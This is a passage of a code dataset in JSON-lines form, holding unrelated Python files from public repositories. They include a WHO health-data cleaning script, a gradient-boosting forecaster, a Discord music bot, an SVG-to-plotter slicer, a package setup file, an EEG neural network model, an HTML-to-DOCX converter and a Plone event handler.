'__main__':\r\n\tmain()","repo_name":"capellb1/Portfolio","sub_path":"CMU_HCII_REU/PoiseDetection/ARCHIVED/poise_detector_batch_mk1.py","file_name":"poise_detector_batch_mk1.py","file_ext":"py","file_size_in_byte":19486,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"71355005148","text":"import sys\nimport pandas as pd\nfrom glob import glob\nimport numpy as np\n\ndfs = list()\n\ndirectoryPath = 'data/raw/data_for_november_2019_evaluation/south_sudan_data/WHO/'\nfilenames = glob(directoryPath + '*-SSudan.csv')\ncolnames = ['GHO (DISPLAY)', 'YEAR (DISPLAY)', 'REGION (DISPLAY)', 'Numeric']\nfor filename in filenames:\n df = pd.read_csv(filename, encoding='latin-1',usecols=lambda x: x in colnames)\n dfs.append(df)\n \nbig_frame = pd.concat(dfs, ignore_index=True, sort=True)\nfor col in colnames:\n if len(col.split()) > 1:\n big_frame.rename({col:col.split()[0]}, axis=1, inplace=True)\n\nbig_frame.rename({'GHO':'Variable', 'Numeric':'Value', 'REGION':'Country', 'YEAR':'Year'}, axis=1, inplace=True)\n\n\n\n\nfilename = 'data/raw/data_for_november_2019_evaluation/south_sudan_data/WHO/South Sudan WHO Statistics Summary.csv'\ndf = pd.read_csv(filename, index_col=False)\nfor col in df.columns:\n if col == 'Unnamed: 0':\n df.rename({col:'Country'}, axis=1, inplace=True)\n if len(col.split('.')) == 2:\n df.rename({col:col.split('.')[0]}, axis=1, inplace=True)\n\n\n\n\nvariables = df.iloc[0].values\nvalues = variables[1:]\ndf_new1 = pd.DataFrame({'Year': values, 'Country':df.columns[1:]})\n\n\nfor i in range(1,df.shape[0]):\n variables = df.iloc[i].values\n indicator = variables[0]\n values = variables[1:]\n df_new2 = pd.DataFrame({'Value':values, 'Variable':indicator})\n df_new = pd.concat([df_new2, df_new1], axis=1, join='inner')\n big_frame = pd.concat([big_frame, df_new], sort=False, ignore_index=True)\n\nbig_frame = big_frame[big_frame['Country']!='Africa']\nbig_frame['Source'], big_frame['Month'], big_frame['County'], big_frame['State'] = 'WHO', None, None, None\n\nbig_frame.dropna(subset=['Value'], inplace=True)\nbig_frame = big_frame[big_frame['Value'] != 'No data']\nbig_frame['Value'] = big_frame['Value'].astype(str)\nbig_frame['Value'] = big_frame['Value'].str.split('[').str[0]\nbig_frame['Value'] = big_frame['Value'].str.split().str.get(0)\n\n\nbig_frame['Unit'] = np.where(big_frame['Variable'] == 'Neonates protected at birth against neonatal tetanus (PAB) (%)', '%',big_frame['Variable'].str.findall(r'(?<=\\()[^(]*(?=\\))').str[0])\nbig_frame['Variable'] = big_frame['Variable'].str.replace(r'\\(.*?\\)', '').str.strip()\n\nbig_frame.to_csv('data/WHO-data1.csv', index=False)\n\n\n\n\n","repo_name":"ml4ai/delphi","sub_path":"scripts/data_processing/WHO-csv.py","file_name":"WHO-csv.py","file_ext":"py","file_size_in_byte":2326,"program_lang":"python","lang":"en","doc_type":"code","stars":23,"dataset":"github-code","pt":"11"} +{"seq_id":"42893720638","text":"from sklearn.ensemble import GradientBoostingRegressor\nfrom model import *\nfrom test import *\nimport math\nimport time\nimport numpy as np\n\nclass GradBoost(Model):\n def __init__(self, params):\n super().__init__(params)\n self.n_estimators = params['n_estimators']\n self.loss = params['loss']\n self.lr = params['lr']\n self.subsample = params['subsample']\n self.max_depth = params['max_depth']\n self.d = params['d']\n self.sigma = params['sigma']\n \n def gen_model(self):\n self.model = GradientBoostingRegressor(n_estimators=self.n_estimators, \n loss=self.loss, \n learning_rate=self.lr,\n subsample=self.subsample,\n max_depth=self.max_depth,\n random_state=3)\n\nif __name__ == '__main__':\n params = {\n 'n_estimators':250,\n 'loss':'huber',\n 'lr':0.1,\n 'subsample':0.9,\n 'max_depth':10,\n 'd':5,\n 'sigma':1,\n 'name':'GradientBoostRegressor'\n }\n\n test = Test(Model=GradBoost, params=params, tests=paper_tests, f='gb-paper-tests.json', plot=True)\n test.fixed_origin_tests(folder='gradient_boosting')\n\n test = Test(Model=GradBoost, params=params, tests=own_tests, f='gb-own-tests.json', plot=True)\n test.fixed_origin_tests(folder='gradient_boosting')\n\n start = time.time()\n test = Test(Model=GradBoost, params=params, tests=rolling_window_tests, f='gb-rolling-tests.json', plot=True)\n results = test.rolling_window_test(folder='gradient_boosting') \n end = time.time()\n print(f'time elapsed: {(end-start)/60}')\n print(f'average R2 score: {np.average(list(results[\"R2\"].values()))}')\n print(f'average MAPE: {np.average(list(results[\"MAPE\"].values()))}')","repo_name":"rlavelle/stock-forecasting","sub_path":"frac_change_forecasting/regressors/gradient_boosting.py","file_name":"gradient_boosting.py","file_ext":"py","file_size_in_byte":1935,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"32117736565","text":"######################################\n#********HBYC Bot Music Commands*****#\n#*********Author:dragonyc1002********#\n#*******Release Date:2022.07.05******#\n#************Version:0.0.5***********#\n#********License: BSD 3-Clause*******#\n#****Develop OS: Ubuntu 20.04 LTS****#\n######################################\nimport discord\nfrom discord.ext import commands, bridge\nfrom discord.ext.bridge.core import BridgeOption\nfrom core.classes import Cog_Extension\nfrom discord.utils import get\nfrom discord import ApplicationCommand, FFmpegPCMAudio\nfrom youtube_dl import YoutubeDL\n\nimport json, time\n\nwith open(\"config.json\", mode=\"r\", encoding=\"utf8\") as jfile:\n config = json.load(jfile)\n\n\nclass Music(Cog_Extension):\n @bridge.bridge_command(name=\"join\", description=\"讓機器人加入你所在的語音頻道\", aliases=[\"j\"])\n async def join(self, ctx):\n if ctx.author.voice is None:\n return await ctx.respond(\"請先加入一個語音頻道\")\n\n if ctx.voice_client is not None:\n await ctx.voice_client.disconnect()\n\n await ctx.author.voice.channel.connect()\n await ctx.respond(f\"已加入`{ctx.author.voice.channel}`\")\n print(\"/join\")\n print(\"from\", ctx.author.guild.name)\n print(\"at\", time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime()))\n print(\"by\", ctx.author)\n print(\"------\")\n\n\n @bridge.bridge_command(name=\"leave\", description=\"讓機器人離開他所在的語音頻道\", aliases=[\"l\"])\n async def leave(self, ctx):\n voice = get(self.client.voice_clients, guild=ctx.guild)\n if voice.is_connected():\n await voice.disconnect()\n await ctx.respond(f\"已離開`{ctx.author.voice.channel}`\")\n print(\"/leave\")\n print(\"from\", ctx.author.guild.name)\n print(\"at\", time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime()))\n print(\"by\", ctx.author)\n print(\"------\")\n\n else:\n await ctx.respond(f\"{ctx.author.mention} 我並不在任何語音頻道中\")\n\n\n @bridge.bridge_command(name=\"play\", description=\"讓機器人播放音樂,目前只能一次播放一首而且只能使用影片網址,音樂功能會在之後的版本再行改善\", aliases=[\"pl\"])\n async def play(self, ctx, url: BridgeOption(str, \"請將連結貼在這裡\", required=False) = None):\n if url == None:\n await ctx.respond(\"請填入網址\")\n\n else:\n YDL_OPTIONS = {'format': 'bestaudio', 'noplaylist': 'True'}\n FFMPEG_OPTIONS = {\n 'before_options': '-reconnect 1 -reconnect_streamed 1 -reconnect_delay_max 5', 'options': '-vn'}\n voice = get(self.client.voice_clients, guild=ctx.guild)\n\n if not voice.is_playing():\n with YoutubeDL(YDL_OPTIONS) as ydl:\n info = ydl.extract_info(url, download=False)\n URL = info['url']\n voice.play(FFmpegPCMAudio(URL, **FFMPEG_OPTIONS))\n voice.is_playing()\n now_playing = f\"現正播放:{url}\"\n await ctx.respond(now_playing)\n print(\"/play\", url)\n print(\"from\", ctx.author.guild.name)\n print(\"at\", time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime()))\n print(\"by\", ctx.author)\n print(\"------\")\n\n else:\n await ctx.respond(f\"{ctx.author.mention}我已經在播音樂了!\")\n return\n \n\n @bridge.bridge_command(name=\"resume\", description=\"繼續播放原本在播放的音樂\")\n async def resume(self, ctx):\n voice = get(self.client.voice_clients, guild=ctx.guild)\n\n if not voice.is_playing():\n voice.resume()\n await ctx.respond(\"繼續播放音樂\")\n print(\"/resume\")\n print(\"from\", ctx.author.guild.name)\n print(\"at\", time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime()))\n print(\"by\", ctx.author)\n print(\"------\")\n \n else:\n await ctx.respond(f\"{ctx.author.mention} 我根本沒有在播音樂\")\n \n\n @bridge.bridge_command(name=\"pause\", description=\"暫停正在播放的音樂\")\n async def pause(self, ctx):\n voice = get(self.client.voice_clients, guild=ctx.guild)\n\n if voice.is_playing():\n voice.pause()\n await ctx.respond(\"暫停播放音樂\")\n print(\"/pause\")\n print(\"from\", ctx.author.guild.name)\n print(\"at\", time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime()))\n print(\"by\", ctx.author)\n print(\"------\")\n\n\n @bridge.bridge_command(name=\"stop\", description=\"結束目前正在播放的音樂\")\n async def stop(self, ctx):\n voice = get(self.client.voice_clients, guild=ctx.guild)\n\n if voice.is_playing():\n voice.stop()\n await ctx.respond(f\"{ctx.author.mention} 音樂已停止\")\n print(\"/stop\")\n print(\"from\", ctx.author.guild.name)\n print(\"at\", time.strftime(\"%Y-%m-%d %H:%M:%S\", time.localtime()))\n print(\"by\", ctx.author)\n print(\"------\")\n \n else:\n await ctx.respond(f\"{ctx.author.mention} 我根本沒有在播音樂\")\n\ndef setup(client):\n client.add_cog(Music(client))","repo_name":"HBYC-Team/HBYC-old","sub_path":"cmds/music.py","file_name":"music.py","file_ext":"py","file_size_in_byte":5358,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"12665622951","text":"import xml.etree.ElementTree as ET\nfrom svg.path import parse_path, Path, Line, CubicBezier, QuadraticBezier, Arc\nfrom svg.path.path import Move\nimport re\n\nOPTIONS_DEFAULT = {\n \"detail\": 0.1,\n \"zero_before\": True,\n \"zero_after\": False\n}\n\nVERBOSE = False\n\nclass SVGParseException(Exception):\n pass\n\nclass Shape:\n def __init__(self, path:str, filled=False):\n if VERBOSE:\n print(\"Generating Path:\", path)\n self.path = parse_path(path)\n self.filled = filled\n \n def get_raw(self):\n return self.path.d()\n\n def slice(self, options):\n '''Turns path into series of straight line moves and Pen ups and downs'''\n instructions = \"\"\n # We assume pen starts in up state\n pen_state = False\n for s in self.path:\n if isinstance(s, Move):\n # The move needs pen up\n if pen_state:\n instructions += \"PU\\n\"\n pen_state = False\n instructions += \"GT {} {}\\n\".format(s.start.real, s.start.imag)\n else:\n # Other units need pen down\n if not pen_state:\n instructions += \"PD\\n\"\n pen_state = True\n if isinstance(s, Line):\n instructions += \"LN {} {}\\n\".format(s.end.real, s.end.imag)\n else:\n length = s.length(error=1e-5)\n if length <= options[\"detail\"]:\n point = s.point(1)\n instructions += \"LN {} {}\\n\".format(point.real, point.imag)\n else:\n step = options[\"detail\"]/length\n steps = int(1/step)\n for x in range(steps):\n point = s.point(x*step)\n instructions += \"LN {} {}\\n\".format(point.real, point.imag)\n # Leave pen up(good manners)\n if pen_state:\n instructions += \"PU\\n\"\n return instructions\n\n\n def __str__(self):\n return \"\".format(self.path.d())\n\nclass Group(Shape):\n def __init__(self, children:list):\n self.children = list(filter(lambda x: x is not None, children))\n self.filled = False\n \n def merge(self):\n uber_path = \"\"\n for sh in self.children:\n if isinstance(sh, Group):\n uber_path += sh.merge()\n else:\n uber_path += sh.get_raw()\n return uber_path\n\n def slice(self, options):\n instructions = \"\"\n for shape in self.children:\n instructions += shape.slice(options)\n return instructions\n \n def __str__(self):\n return \"\".format(', '.join([str(x) for x in self.children]))\n\nclass SVGRoot(Group):\n def slice(self, options):\n instructions = \"PU\\n\"\n if options[\"zero_before\"]:\n instructions += \"ZE\\n\"\n instructions += super().slice(options)\n if options[\"zero_after\"]:\n instructions += \"ZE\\n\"\n return instructions\n\n\n\ndef getEllipsePath(cx, cy, rx, ry):\n return \"M {} {} a {} {} 0 1 0 {} 0 a {} {} 0 1 0 {} 0\".format(cx-rx, cy, rx, ry, rx*2, rx, ry, -(rx*2))\n\ndef getLinePath(x1, y1, x2, y2):\n return \"M {} {} L {} {}\".format(x1, y1, x2, y2)\n\ndef getLinesPath(start_coords, *rest, closed=False):\n x, y = start_coords\n s = \"M {} {} \".format(x, y)\n for (x, y) in rest:\n s += \"L {} {} \".format(x, y)\n if closed:\n s += \"Z\"\n return s\n\n\ndef parse(doc):\n '''Convert to a list of path objects'''\n doc = re.sub(' xmlns=\"[^\"]+\"', '', doc, count=1)\n root = ET.fromstring(doc)\n if not root.tag == \"svg\":\n print(root.tag)\n raise SVGParseException(\"Missing tag\")\n paths = []\n for c in root:\n paths.append(getPath(c))\n return SVGRoot(paths)\n\n\ndef getPath(elem):\n if elem.tag == \"circle\":\n x = float(elem.attrib[\"cx\"])\n y = float(elem.attrib[\"cy\"])\n r = float(elem.attrib[\"r\"])\n return Shape(getEllipsePath(x, y, r, r))\n elif elem.tag == \"ellipse\":\n x = float(elem.attrib[\"cx\"])\n y = float(elem.attrib[\"cy\"])\n rx = float(elem.attrib[\"rx\"])\n ry = float(elem.attrib[\"ry\"])\n return Shape(getEllipsePath(x, y, rx, ry))\n elif elem.tag == \"line\":\n x = float(elem.attrib[\"x1\"])\n y = float(elem.attrib[\"y1\"])\n ex = float(elem.attrib[\"x2\"])\n ey = float(elem.attrib[\"y2\"])\n return Shape(getLinePath(x, y, ex, ey))\n elif elem.tag == \"polygon\" or elem.tag == \"polyline\":\n closed = elem.tag == \"polygon\"\n coordlist = elem.attrib[\"points\"]\n # Parse list of coords\n coordlist = coordlist.replace('e-', 'NEGEXP').replace('E-', 'NEGEXP')\n # Commas and minus-signs are separators, just like spaces.\n coordlist = coordlist.replace(',', ' ').replace('-', ' -')\n coordlist = coordlist.replace('NEGEXP', 'e-')\n coordlist = [float(x) for x in coordlist.split()]\n tupled_list = [(coordlist[i], coordlist[i+1]) for i in range(0, len(coordlist), 2)]\n return Shape(getLinesPath(tupled_list[0], *tupled_list[1:], closed=closed))\n elif elem.tag == \"rect\":\n x = float(elem.attrib[\"x\"])\n y = float(elem.attrib[\"y\"])\n ex = x + float(elem.attrib[\"width\"])\n ey = y + float(elem.attrib[\"height\"])\n return Shape(getLinesPath((x, y), (ex, y), (ex, ey), (x, ey), closed=True))\n elif elem.tag == \"path\":\n return Shape(elem.attrib[\"d\"])\n elif elem.tag == \"g\":\n # Return list of elements\n return Group([getPath(x) for x in elem])\n else:\n if VERBOSE:\n print(\"Dont understand {}\".format(elem.tag))\n return None\n\ndef slice(parsed_doc, spec_options = {}):\n options = OPTIONS_DEFAULT.copy()\n options.update(spec_options)\n return parsed_doc.slice(options)\n\nif __name__ == \"__main__\":\n import argparse\n\n parser = argparse.ArgumentParser(description=\"Get JCode(drawing format) for an svg file.\")\n parser.add_argument(\"-v\", \"--verbose\", action=\"store_true\")\n parser.add_argument(\"input\", help=\"the input file\")\n parser.add_argument(\"-o\", \"--output\", help=\"Output File\")\n args = parser.parse_args()\n VERBOSE = args.verbose\n with open(args.input, 'r') as f:\n text = f.read()\n \n result = slice(parse(text))\n if args.output:\n with open(args.output, 'w') as f:\n f.write(result)\n else:\n print(result)\n","repo_name":"Jovascript/DrawPy","sub_path":"drawpi/svgreader.py","file_name":"svgreader.py","file_ext":"py","file_size_in_byte":6544,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"28155293930","text":"from setuptools import setup, find_packages\nimport os\n\nwith open(os.path.join(os.path.dirname(__file__), 'README.rst')) as readme:\n README = readme.read()\n\nos.chdir(os.path.normpath(os.path.join(os.path.abspath(__file__), os.pardir)))\n\nsetup(\n name='django-rok',\n version='1.0.1',\n packages=find_packages(),\n include_package_data=True,\n license='MIT',\n description='Public url for your local web server.',\n long_description=README,\n author='Ankur Jain',\n author_email='ankurj630@gmail.com',\n url='https://github.com/droidlife/django-rok',\n classifiers=[\n 'Environment :: Web Environment',\n 'Framework :: Django',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: MIT License',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3.5',\n ],\n install_requires=[\n 'paramiko>=2.4.1'\n ]\n)\n","repo_name":"droidlife/django-rok","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1010,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"11"} +{"seq_id":"21181654723","text":"# -*- coding: utf-8 -*-\n\"\"\"\nspectral temporal net\n\nCreated on Wed Jan 5 20:33:07 2022\n\n@author: chongxian\n\"\"\"\n\nimport torch.nn as nn\nimport torch\nimport math\nfrom scipy import io as io\nimport numpy as np\nfrom EEG_model.TripletAttention import TripletAttention\n\nclass down_sample(nn.Module):\n def __init__(self, inc, kernel_size, stride, padding):\n super(down_sample, self).__init__()\n self.conv = nn.Conv2d(in_channels = inc, out_channels = inc, kernel_size = (1, kernel_size), stride = (1, stride), padding = (0, padding), bias = False)\n self.bn = nn.BatchNorm2d(inc) \n self.elu = nn.ELU(inplace = False)\n self.initialize()\n\n def initialize(self):\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n nn.init.xavier_uniform_(m.weight, gain=1)\n elif isinstance(m, nn.BatchNorm2d):\n nn.init.constant_(m.weight, 1)\n nn.init.constant_(m.bias, 0)\n \n def forward(self, x):\n output = self.elu(self.bn(self.conv(x)))\n return output\n\nclass conv_sample(nn.Module):\n def __init__(self, inc=9, kernel_size=11, stride=2, padding=5):\n super(conv_sample, self).__init__()\n self.conv1 = down_sample(inc, kernel_size, stride, padding)\n self.conv2 = down_sample(inc, kernel_size, stride, padding)\n self.conv3 = down_sample(inc, kernel_size, stride, padding)\n self.conv4 = down_sample(inc, kernel_size, stride, padding)\n self.conv5_1 = down_sample(inc, kernel_size, stride, padding)\n self.conv5_2 = down_sample(inc, kernel_size, stride, padding)\n def forward(self, x):\n x= self.conv1(x)\n convsample_gamma_x= self.conv2(x)\n convsample_beta_x= self.conv3(convsample_gamma_x)\n convsample_alpha_x= self.conv4(convsample_beta_x)\n convsample_theta_x= self.conv5_1(convsample_alpha_x)\n convsample_delta_x= self.conv5_2(convsample_alpha_x)\n return convsample_gamma_x, convsample_beta_x, convsample_alpha_x, convsample_theta_x, convsample_delta_x\n \nclass input_layer(nn.Module):\n def __init__(self, outc):\n super(input_layer, self).__init__()\n self.conv_input = nn.Conv2d(in_channels = 1, out_channels = outc, kernel_size = (1, 3), \n stride = 1, padding = (0, 1), groups = 1, bias = False)\n self.bn_input = nn.BatchNorm2d(outc) \n self.elu = nn.ELU(inplace = False)\n self.initialize()\n\n def initialize(self):\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n nn.init.xavier_uniform_(m.weight, gain = 1)\n elif isinstance(m, nn.BatchNorm2d):\n nn.init.constant_(m.weight, 1)\n nn.init.constant_(m.bias, 0)\n \n def forward(self, x):\n output = self.bn_input(self.conv_input(x))\n return output\n\nclass Residual_Block(nn.Module): \n def __init__(self, inc, outc, groups = 1):\n super(Residual_Block, self).__init__()\n if inc is not outc:\n self.conv_expand = nn.Conv2d(in_channels = inc, out_channels = outc, kernel_size = 1, \n stride = 1, padding = 0, groups = groups, bias = False)\n else:\n self.conv_expand = None\n \n self.conv1 = nn.Conv2d(in_channels = inc, out_channels = outc, kernel_size = (1, 3), \n stride = 1, padding = (0, 1), groups = groups, bias = False)\n self.bn1 = nn.BatchNorm2d(outc)\n self.conv2 = nn.Conv2d(in_channels = outc, out_channels = outc, kernel_size = (1, 3), \n stride = 1, padding = (0, 1), groups = groups, bias = False)\n self.bn2 = nn.BatchNorm2d(outc)\n self.elu = nn.ELU(inplace = False)\n self.initialize()\n\n def initialize(self):\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n nn.init.xavier_uniform_(m.weight, gain = 1)\n elif isinstance(m, nn.BatchNorm2d):\n nn.init.constant_(m.weight, 1)\n nn.init.constant_(m.bias, 0)\n \n def forward(self, x): \n if self.conv_expand is not None:\n identity_data = self.conv_expand(x)\n else:\n identity_data = x\n output = self.bn1(self.conv1(x))\n output = self.bn2(self.conv2(output))\n output = torch.add(output,identity_data)\n return output \n\ndef embedding_network(input_block, Residual_Block, num_of_layer, outc, groups = 1):\n layers = []\n layers.append(input_block(outc))\n for i in range(0, num_of_layer):\n layers.append(Residual_Block(inc = int(math.pow(2, i)*outc), outc = int(math.pow(2, i+1)*outc),\n groups = groups))\n return nn.Sequential(*layers) \n\ndef self_padding(x):\n return torch.cat((x[:, :, :, -3:], x, x[:, :, :, 0:3]), 3)\n\nclass WaveletTransform(nn.Module): \n '''\n waveConv layer\n '''\n def __init__(self, inc, params_path='./EEG_model/scaling_filter.mat', transpose = True):\n super(WaveletTransform, self).__init__()\n self.transpose = transpose \n self.conv = nn.Conv2d(in_channels = inc, out_channels = inc*2, kernel_size = (1, 8), \n stride = (1, 2), padding = 0, groups = inc, bias = False) \n for m in self.modules():\n if isinstance(m, nn.Conv2d) or isinstance(m, nn.ConvTranspose2d):\n f = io.loadmat(params_path)\n Lo_D, Hi_D = np.flip(f['Lo_D'], axis = 1).astype('float32'), np.flip(f['Hi_D'], axis = 1).astype('float32')\n m.weight.data = torch.from_numpy(np.concatenate((Lo_D, Hi_D), axis = 0)).unsqueeze(1).unsqueeze(1).repeat(inc, 1, 1, 1) \n m.weight.requires_grad = False \n \n def forward(self, x): \n out = self.conv(self_padding(x)) \n return out[:, 0::2,:, :], out[:, 1::2, :, :] #L, H\n\nclass Triblock(nn.Module):\n '''\n Triple Attention Fufion net\n '''\n def __init__(self, inc, outc, kernel_size, reduction = 8):\n super(Triblock, self).__init__()\n self.conv0 = nn.Conv2d(in_channels = inc, out_channels = outc, kernel_size = (1, kernel_size), \n stride = (1, 1), padding = (0, kernel_size//2), \n groups = 3, bias = False)\n self.bn0 = nn.BatchNorm2d(outc) \n self.triAtt0 = TripletAttention() \n self.conv1 = nn.Conv2d(in_channels = outc, out_channels = outc, kernel_size = (1, kernel_size), \n stride = (1, 1), padding = (0, kernel_size//2), \n groups = 3, bias = False)\n self.bn1 = nn.BatchNorm2d(outc) \n self.triAtt1 = TripletAttention() \n self.conv2 = nn.Conv2d(in_channels = outc, out_channels = outc, kernel_size = (1, kernel_size), \n stride = (1, 1), padding = (0, kernel_size//2), \n groups = 3, bias = False)\n self.bn2 = nn.BatchNorm2d(outc) \n self.triAtt2= TripletAttention() \n self.elu = nn.ELU(inplace = False)\n self.initialize()\n\n def initialize(self):\n '''\n model papameter initialization\n '''\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n nn.init.xavier_uniform_(m.weight, gain=1)\n elif isinstance(m, nn.BatchNorm2d):\n nn.init.constant_(m.weight, 1)\n nn.init.constant_(m.bias, 0)\n\n def forward(self, x, flag):\n if flag == 0:\n out = self.elu(self.triAtt0(self.bn0(self.conv0(x))))\n out = self.elu(self.triAtt1(self.bn1(self.conv1(out))))\n out = self.elu(self.triAtt2(self.bn2(self.conv2(out))))\n else:\n out = self.dropout(self.elu(self.bn0(self.conv0(x))))\n out = self.dropout(self.elu(self.bn1(self.conv1(out))))\n return out\n \nclass Multi_Scale_Spectral_Temporal_Net(nn.Module):\n '''\n Pyramid Convolution Net + Triple Attention Fusion Net\n '''\n def __init__(self, outc, fc, inchan, num_of_layer = 1):\n super(Multi_Scale_Spectral_Temporal_Net, self).__init__() \n self.num_of_layer = num_of_layer\n self.embedding = embedding_network(input_layer, Residual_Block, num_of_layer = num_of_layer, outc = outc) \n \n #spectral pyramid\n self.WaveletTransform = WaveletTransform(inc = outc*int(math.pow(2, num_of_layer)) + 1) \n\n #temporal pyramid\n self.downsampled_gamma = down_sample(outc*int(math.pow(2, num_of_layer))+1, 4, 4, 0)\n self.downsampled_beta = down_sample(outc*int(math.pow(2, num_of_layer))+1, 8, 8, 0)\n self.downsampled_alpha = down_sample(outc*int(math.pow(2, num_of_layer))+1, 16, 16, 0)\n self.downsampled_theta = down_sample(outc*int(math.pow(2, num_of_layer))+1, 32, 32, 0)\n self.downsampled_delta = down_sample(outc*int(math.pow(2, num_of_layer))+1, 32, 32, 0)\n \n self.conv_sample=conv_sample(outc*int(math.pow(2, num_of_layer))+1, 11, 2, 5)\n \n #triple attention fusion net\n self.TriGamma = Triblock((outc*int(math.pow(2, num_of_layer))+1)*3, fc//2, 7)\n self.TriBeta = Triblock((outc*int(math.pow(2, num_of_layer))+1)*3, fc//2, 7)\n self.TriAlpha = Triblock((outc*int(math.pow(2, num_of_layer))+1)*3, fc//2, 3)\n self.TriDelta = Triblock((outc*int(math.pow(2, num_of_layer))+1)*3, fc//2, 3)\n self.TriTheta = Triblock((outc*int(math.pow(2, num_of_layer))+1)*3, fc//2, 3)\n self.average_pooling = nn.AdaptiveAvgPool2d((inchan, 1))\n\n self.SEA = nn.Sequential(nn.Conv2d(in_channels = fc//2, out_channels = fc, kernel_size = (1, 1), \n stride = (1, 1), padding = (0, 0), \n groups = 1, bias = False),\n nn.BatchNorm2d(fc),\n nn.ELU(inplace=False))\n self.SEB = nn.Sequential(nn.Conv2d(in_channels = fc//2, out_channels = fc, kernel_size = (1, 1), \n stride = (1, 1), padding = (0, 0), \n groups = 1, bias = False),\n nn.BatchNorm2d(fc),\n nn.ELU(inplace=False))\n self.SED = nn.Sequential(nn.Conv2d(in_channels = fc//2, out_channels = fc, kernel_size = (1, 1), \n stride = (1, 1), padding = (0, 0), \n groups = 1, bias = False),\n nn.BatchNorm2d(fc),\n nn.ELU(inplace=False))\n self.SET = nn.Sequential(nn.Conv2d(in_channels = fc//2, out_channels = fc, kernel_size = (1, 1), \n stride = (1, 1), padding = (0, 0), \n groups = 1, bias = False),\n nn.BatchNorm2d(fc),\n nn.ELU(inplace=False))\n self.SEG = nn.Sequential(nn.Conv2d(in_channels = fc//2, out_channels = fc, kernel_size = (1, 1), \n stride = (1, 1), padding = (0, 0), \n groups = 1, bias = False),\n nn.BatchNorm2d(fc),\n nn.ELU(inplace=False))\n\n def forward(self, x, flag):\n embedding_x = self.embedding(x)\n cat_x = torch.cat((embedding_x, x), 1)\n \n #spectral pyramid\n out, _ = self.WaveletTransform(cat_x)\n out, gamma = self.WaveletTransform(out)\n out, beta = self.WaveletTransform(out)\n out, alpha = self.WaveletTransform(out)\n delta, theta = self.WaveletTransform(out)\n \n #temporal pyramid\n downsample_gamma_x = self.downsampled_gamma(cat_x)\n downsample_beta_x = self.downsampled_beta(cat_x)\n downsample_alpha_x = self.downsampled_alpha(cat_x)\n downsample_theta_x = self.downsampled_theta(cat_x)\n downsample_delta_x = self.downsampled_delta(cat_x)\n convsample_gamma_x, convsample_beta_x, convsample_alpha_x, convsample_theta_x, convsample_delta_x = self.conv_sample(cat_x)\n\n #concatenate temporal and spectral features\n gamma = torch.cat((downsample_gamma_x, convsample_gamma_x, gamma), 1)\n beta = torch.cat((downsample_beta_x, convsample_beta_x, beta), 1) \n alpha = torch.cat((downsample_alpha_x, convsample_alpha_x, alpha), 1)\n theta = torch.cat((downsample_theta_x, convsample_theta_x, theta), 1)\n delta = torch.cat((downsample_delta_x, convsample_delta_x, delta), 1)\n \n #Triple Attention Fusion Net\n x1, x2, x3, x4, x5 = self.TriGamma(gamma, flag), self.TriBeta(beta, flag), self.TriAlpha(alpha, flag), self.TriTheta(theta, flag), self.TriDelta(delta, flag)\n x1, x2, x3, x4, x5 = self.average_pooling(x1), self.average_pooling(x2), self.average_pooling(x3), self.average_pooling(x4), self.average_pooling(x5) \n x1, x2, x3, x4, x5 = self.SEG(x1), self.SEB(x2), self.SEA(x3), self.SET(x4), self.SED(x5)\n \n return torch.cat((x1, x2, x3, x4, x5), 1).permute(0, 1, 3, 2).contiguous()\n ","repo_name":"LianghuiGuo/TA-STS-ConvNet","sub_path":"EEG_model/multi_scale_spectral_temporal_Net.py","file_name":"multi_scale_spectral_temporal_Net.py","file_ext":"py","file_size_in_byte":13271,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"11"} +{"seq_id":"13319174690","text":"from htmldocx import HtmlToDocx\nimport os\n\n# get all html files in a directory\nhtml_files = [f for f in os.listdir('.') if f.endswith('.html')]\nnew_parser = HtmlToDocx()\n\n# create a docx file for each html file\nfor html_file in html_files:\n docx_file = html_file.replace('.html', '.docx')\n print(f'converting {html_file} to {docx_file}')\n new_parser.parse_html_file(html_file, docx_file)\n print(f'Created {docx_file}')\n","repo_name":"tayhimself/scrapyscraper","sub_path":"rr_scraper/convert-html.py","file_name":"convert-html.py","file_ext":"py","file_size_in_byte":431,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"74610328348","text":"from plone import api\nfrom plone.app.textfield.value import RichTextValue\n\ndef CleanHtml(obj, event):\n success = 0\n for i in obj.antworten:\n if i['bewertung'] in ['richtig', 'success']:\n success += 1\n if success == 0:\n obj.plone_utils.addPortalMessage(u'Sie müssen mindestens eine Antwortoption als richtig kennzeichnen. Bitte bearbeiten\\\n Sie den Skill erneut und korrigieren diese Einstellung.', 'error')\n if success > 1:\n obj.plone_utils.addPortalMessage(u'Sie haben mehr als eine Antwortoption als richtig gekennzeichnet. Bitte bearbeiten\\\n Sie den Skill erneut und korrigieren diese Einstellung.', 'error')\n","repo_name":"educorvi/edi.skillpill","sub_path":"src/edi/skillpill/events.py","file_name":"events.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"de","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"16311258994","text":"import json\nimport os\nimport time\n\nimport boto3\nimport jsonschema\n\nwith open(\"schema.json\") as f:\n SCHEMA = json.load(f)\n 